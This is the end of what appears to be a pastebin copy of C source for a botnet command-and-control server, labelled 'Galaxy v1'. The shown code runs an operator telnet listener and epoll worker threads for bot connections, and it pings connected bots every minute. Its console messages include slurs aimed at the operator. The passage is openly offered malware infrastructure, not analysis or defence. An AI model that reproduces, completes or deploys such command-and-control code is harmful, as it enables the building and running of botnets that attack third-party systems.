  674.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  675.                 if (newsockfd < 0) perror("ERROR on accept");
  676.                 pthread_t thread;
  677.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  678.         }
  679. }
  680.  
  681. int main (int argc, char *argv[], void *sock)
  682. {
  683.         signal(SIGPIPE, SIG_IGN);
  684.  
  685.         int s, threads, port;
  686.         struct epoll_event event;
  687.         if (argc != 4)
  688.         {
  689.                 fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  690.                 exit (EXIT_FAILURE);
  691.  
  692.         }
  693.         port = atoi(argv[3]);
  694.         threads = atoi(argv[2]);
  695.         if (threads > 1000)
  696.         {
  697.             printf("lower the threads u fucking retard\n");
  698.             return 0;
  699.         }
  700.         else if (threads < 1000)
  701.         {
  702.             printf("GOOD THREADS U SLUT\n");
  703.         }
  704.         printf(RED "\x1b[1;34mGalaxy v1,\x1b[1;36m @PiggyNets on IG, \x1b[1;37mEnjoy \x1b[1;37mSUCCESSFULLY \x1b[1;36mSCREENED\x1b[0m\n");
  705.         listenFD = create_and_bind(argv[1]);
  706.         if (listenFD == -1) abort();
  707.        
  708.  
  709.         s = make_socket_non_blocking (listenFD);
  710.         if (s == -1) abort();
  711.  
  712.         s = listen (listenFD, SOMAXCONN);
  713.         if (s == -1)
  714.         {
  715.                 perror ("listen");
  716.                 abort ();
  717.         }
  718.  
  719.         epollFD = epoll_create1 (0);
  720.         if (epollFD == -1)
  721.         {
  722.                 perror ("epoll_create");
  723.                 abort ();
  724.         }
  725.  
  726.         event.data.fd = listenFD;
  727.         event.events = EPOLLIN | EPOLLET;
  728.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  729.         if (s == -1)
  730.         {
  731.                 perror ("epoll_ctl");
  732.                 abort ();
  733.         }
  734.  
  735.         pthread_t thread[threads + 2];
  736.         while(threads--)
  737.         {
  738.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL);
  739.         }
  740.  
  741.         pthread_create(&thread[0], NULL, &telnetListener, port);
  742.  
  743.         while(1)
  744.         {
  745.                 broadcast("PING", -1, "STRING");
  746.                 sleep(60);
  747.         }
  748.  
  749.         close (listenFD);
  750.  
  751.         return EXIT_SUCCESS;
  752. }
Add Comment
Please, Sign In to add comment